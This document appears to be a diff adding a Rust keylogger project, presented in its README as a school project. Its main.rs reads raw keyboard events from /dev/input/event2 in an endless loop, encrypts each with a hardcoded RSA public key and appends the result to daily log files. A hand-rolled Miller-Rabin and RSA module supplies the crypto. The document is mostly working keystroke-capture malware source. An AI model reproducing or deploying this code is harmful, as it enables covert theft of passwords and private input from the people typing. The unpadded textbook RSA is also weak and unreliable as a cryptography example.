Saataa andagii !

keylogger/.gitignore

@@ -0,0 +1,4 @@
+/target
+Cargo.lock
+/src/config.json
+/src/data/logs/*

keylogger/Cargo.toml

@@ -0,0 +1,13 @@
+[package]
+name = "projet-pei"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+chrono = "0.4.38"
+libc = "0.2.153"
+num-bigint = { version = "0.4.4", features = ["rand"] }
+num-bigint-dig = "0.8.4"
+rand = "0.8.5"

keylogger/README.md

@@ -0,0 +1,3 @@
+# Rust Keylogger with RSA encryption
+
+This is a Keylogger with RSA encryption built in rust. It is a school project.

keylogger/src/keylogger.rs

@@ -0,0 +1,43 @@
+use std::fs::File;
+use std::io::Read;
+use std::mem;
+
+#[repr(C)]
+#[derive(Debug, Copy, Clone)]
+pub struct Timeval {
+	pub tv_sec: libc::c_long,
+	pub tv_usec: libc::c_long,
+}
+
+#[repr(C)]
+#[derive(Debug, Copy, Clone)]
+pub struct InputEvent {
+	pub time: Timeval,
+	pub type_: libc::c_ushort,
+	pub code: libc::c_ushort,
+	pub value: libc::c_uint,
+}
+
+pub struct KeyLogger {
+	event_file: File
+}
+
+impl KeyLogger {
+	pub fn new(event_file: &str) -> KeyLogger {
+		KeyLogger {
+			event_file: File::open(event_file).expect("Error while opening the file")
+		}
+	}
+
+	pub fn get_current_event(&mut self) -> [u8; mem::size_of::<InputEvent>()] {
+		let mut event_data = [0u8; mem::size_of::<InputEvent>()];
+		self.event_file.read_exact(&mut event_data).expect("Error while reading event file");
+
+		/*
+        let event: InputEvent = unsafe { *(event_data.as_ptr() as *const InputEvent) };
+        println!("{:?}", event);
+        */
+
+		return event_data;
+	}
+}

keylogger/src/main.rs

@@ -0,0 +1,47 @@
+mod keylogger;
+mod rsa;
+
+use keylogger::KeyLogger;
+use rsa::{gen_keys, pad_data};
+
+use chrono::{DateTime, Local};
+use num_bigint_dig::{ToBigUint, RandBigInt, BigUint};
+use std::path::Path;
+use std::fs::File;
+use std::fs::OpenOptions;
+use std::io::prelude::*;
+
+fn main() {
+	let e = BigUint::parse_bytes(b"65537", 10)
+        .unwrap();
+    let n = BigUint::parse_bytes(b"726893654806863106618546895057273655441264661325145055622991128175682274731729906015556264256579162493516172845029834644722324327896454261243147930093884060587847049206343040997875678249683217673083057390927228523219516562706789293756062419996669732335698292474241738313810472297868623226097796896132340484716735649944952179058084460249003603199405921560958818961267822766679758920394983786136620924522112830057005196535366761215933393212482864750854232592685811474461298568003115633675850369800934986362845952917985790835063623075408167396594117256336524956863695783013250764066998836408497995291717070517025671368786854251119784534482238786198981808730172431511580525492332130939522228645811310849928074140276569038233908484935569527065290886443920205920064757536160231476433607492303337517653184135797961475927231058895093552142050530878770429480616001550597029356030412941690284376485270056410912518806914509324633661109", 10)
+        .unwrap();
+  
+	let mut test = KeyLogger::new("/dev/input/event2");
+
+	let current_local: DateTime<Local> = Local::now();
+	let custom_format = current_local.format("%Y-%m-%d");
+
+	let logs_file_url = format!("./src/data/logs/{}.log", custom_format);
+
+	if !Path::new(logs_file_url.as_str()).exists() {
+		File::create(logs_file_url.as_str())
+			.expect("Error while creating the file");
+	}
+
+	let mut logs_file = OpenOptions::new()
+		.append(true)
+		.open(logs_file_url.as_str())
+		.expect("Error while opening the file");
+
+	loop {
+		let event = &mut test.get_current_event();
+		let padded_event = pad_data(event.to_vec(), 3072);
+		let event_as_bigint = BigUint::from_bytes_be(&padded_event);
+		let cypher = event_as_bigint.clone().modpow(&e, &n);
+		let buffer = pad_data(cypher.clone().to_bytes_be(), 3072);
+		println!("{:?}", buffer.len());
+
+		let _ = logs_file.write_all(&buffer);
+	}
+}

keylogger/src/rsa.rs

@@ -0,0 +1,103 @@
+use num_bigint_dig::{ToBigUint, RandBigInt, BigUint};
+use num_bigint_dig::traits::ModInverse;
+
+fn get_s_and_d(n: &BigUint) -> (BigUint, BigUint) {
+	let mut d = n - 1.to_biguint().unwrap();
+	let mut s = 0.to_biguint().unwrap();
+
+	while &d % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() {
+		s += 1.to_biguint().unwrap();
+		d /= 2.to_biguint().unwrap();
+	}
+
+	(d, s)
+}
+
+fn miller_witness(n: &BigUint, a: &BigUint) -> bool {
+	let (d, s) = get_s_and_d(&n);
+
+	let mut x = a.modpow(&d, &n);
+
+	if x == 1.to_biguint().unwrap() {
+		return false;
+	}
+
+	let mut i = 0.to_biguint().unwrap();
+	while i < s.clone(){
+		if x == n.clone() - 1.to_biguint().unwrap() {
+			return false;
+		}
+
+		x = x.modpow(&2.to_biguint().unwrap(), &n);
+
+		i += 1.to_biguint().unwrap();
+	}
+
+	true
+}
+
+fn is_prime(n: BigUint, k: u16) -> bool {
+
+	if n.clone() == 3.to_biguint().unwrap() || n.clone() == 2.to_biguint().unwrap() {
+		return true;
+	}
+	if n.clone() == 1.to_biguint().unwrap() {
+		return false;
+	}
+	if n.clone() % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() {
+		return false;
+	}
+
+	for _ in 0..k {
+		let mut rng = rand::thread_rng();
+		let min = 2.to_biguint().unwrap();
+		let max = n.clone() - 1.to_biguint().unwrap();
+		let a = rng.gen_biguint_range(&min, &max);
+
+		if miller_witness(&n, &a) {
+			return false;
+		}
+	}
+
+	return true;
+}
+
+fn gen_prime_number(lenght: usize) -> BigUint {
+	let mut rng = rand::thread_rng();
+
+	let mut a = rng.gen_biguint(lenght);
+
+	while !is_prime(a.clone(), 50) {
+		a = rng.gen_biguint(lenght);
+	}
+
+	a
+}
+
+pub fn gen_keys(lenght: usize) -> (BigUint, BigUint, BigUint) {
+	let p = gen_prime_number(lenght / 2);
+	let mut q = gen_prime_number(lenght / 2);
+
+	while p == q {
+		q = gen_prime_number(lenght / 2);
+	}
+
+	let n = &p * &q;
+	let phi_n = (&p - 1.to_biguint().unwrap()) * (&q - 1.to_biguint().unwrap());
+	let e = 65537.to_biguint().unwrap();
+	let d = e.clone().mod_inverse(&phi_n).unwrap().to_biguint().expect("error");
+
+	(e, d, n)
+}
+
+pub fn pad_data(data: Vec<u8>, length: usize) -> Vec<u8> {
+	let mut padded_data = data;
+
+	let num_zeros = (length / 8) - padded_data.len();
+
+	for _ in 0..num_zeros {
+		padded_data.insert(0, 0);
+	}
+
+	padded_data
+}